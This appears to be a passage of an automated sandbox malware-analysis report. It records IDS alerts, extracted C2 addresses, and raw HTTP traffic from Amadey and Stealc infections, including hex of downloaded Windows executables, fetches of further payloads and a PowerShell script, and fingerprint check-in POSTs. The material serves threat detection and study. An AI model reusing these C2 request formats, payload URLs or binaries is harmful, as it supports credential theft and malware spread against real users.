Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49710 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49713 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49711 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49719 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.5:49708 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49742 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49770 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	TCP traffic: 192.168.2.5:54560 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:50756 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 30 Sep 2024 07:51:08 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Sun, 29 Sep 2024 08:19:54 GMTETag: "4cc00-6233dc0bf3e80"Accept-Ranges: bytesContent-Length: 314368Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 aa 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 25 00 e0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8f cc 01 00 00 10 00 00 00 ce 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 8c cf 00 00 00 e0 01 00 00 d0 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a4 03 23 00 00 b0 02 00 00 e4 01 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 9e 45 00 00 00 c0 25 00 00 46 00 00 00 86 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 30 Sep 2024 07:51:12 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 30 Sep 2024 07:04:42 GMTETag: "1c5600-62350d1b06f29"Accept-Ranges: bytesContent-Length: 1857024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 40 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 6a 00 00 04 00 00 63 20 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 70 61 76 76 69 67 73 00 00 1a 00 00 30 50 00 00 f4 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 78 75 64 61 77 6c 6a 00 10 00 00 00 30 6a 00 00 04 00 00 00 30 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 6a 00 00 22 00 00 00 34 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJJDGHCBGDHIECBGIDAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 30 33 35 38 30 32 39 32 37 37 32 32 35 38 33 35 38 30 30 35 38 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 2d 2d 0d 0a Data Ascii: ------GHJJDGHCBGDHIECBGIDAContent-Disposition: form-data; name="hwid"5035802927722583580058------GHJJDGHCBGDHIECBGIDAContent-Disposition: form-data; name="build"doma------GHJJDGHCBGDHIECBGIDA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 30 30 31 31 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1000113001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 31 31 35 30 30 32 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000115002&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJDAEBFCBKECBGDBFCFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 30 33 35 38 30 32 39 32 37 37 32 32 35 38 33 35 38 30 30 35 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 2d 2d 0d 0a Data Ascii: ------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="hwid"5035802927722583580058------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="build"doma------JKJDAEBFCBKECBGDBFCF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 31 31 37 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000117031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/ko.ps1 HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 31 34 30 30 34 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000140041&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCGIJKJJKEBGHJKFIDGCHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 30 33 35 38 30 32 39 32 37 37 32 32 35 38 33 35 38 30 30 35 38 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 2d 2d 0d 0a Data Ascii: ------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="hwid"5035802927722583580058------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="build"doma------FCGIJKJJKEBGHJKFIDGC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCBGCAFIIECBFIDHIJKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 30 33 35 38 30 32 39 32 37 37 32 32 35 38 33 35 38 30 30 35 38 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 2d 2d 0d 0a Data Ascii: ------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="hwid"5035802927722583580058------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="build"doma------BGCBGCAFIIECBFIDHIJK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
